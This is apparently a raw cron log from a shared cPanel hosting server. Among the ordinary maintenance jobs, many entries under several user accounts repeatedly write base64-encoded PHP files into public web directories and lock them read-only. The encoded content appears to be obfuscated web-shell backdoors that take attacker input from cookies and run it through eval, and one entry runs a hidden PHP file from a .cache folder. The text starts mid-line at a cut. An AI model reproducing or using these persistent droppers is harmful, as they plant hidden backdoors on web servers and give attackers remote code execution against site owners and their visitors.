"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:50:02 medusa CROND[4143]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4158]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:50:02 medusa CROND[4159]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4161]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:50:02 medusa CROND[4163]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 10:50:02 medusa CROND[4167]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:50:02 medusa CROND[4164]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4170]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:50:02 medusa CROND[4154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4174]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 10:50:02 medusa CROND[4173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:51:01 medusa CROND[22832]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:51:01 medusa CROND[22833]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:51:01 medusa CROND[22834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:51:01 medusa CROND[22835]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:51:01 medusa CROND[22836]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:51:01 medusa CROND[22837]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:51:01 medusa CROND[22840]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:51:01 medusa CROND[22841]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:51:01 medusa CROND[22845]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:51:01 medusa CROND[22847]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:51:01 medusa CROND[22849]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:51:01 medusa CROND[22850]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:51:01 medusa CROND[22851]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:51:01 medusa CROND[22852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:51:01 medusa CROND[22855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:52:02 medusa CROND[7989]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:52:02 medusa CROND[8061]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:52:02 medusa CROND[8062]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:52:02 medusa CROND[8063]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:52:02 medusa CROND[8064]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:52:02 medusa CROND[8068]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:52:02 medusa CROND[8070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:52:02 medusa CROND[8071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:52:02 medusa CROND[8072]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAg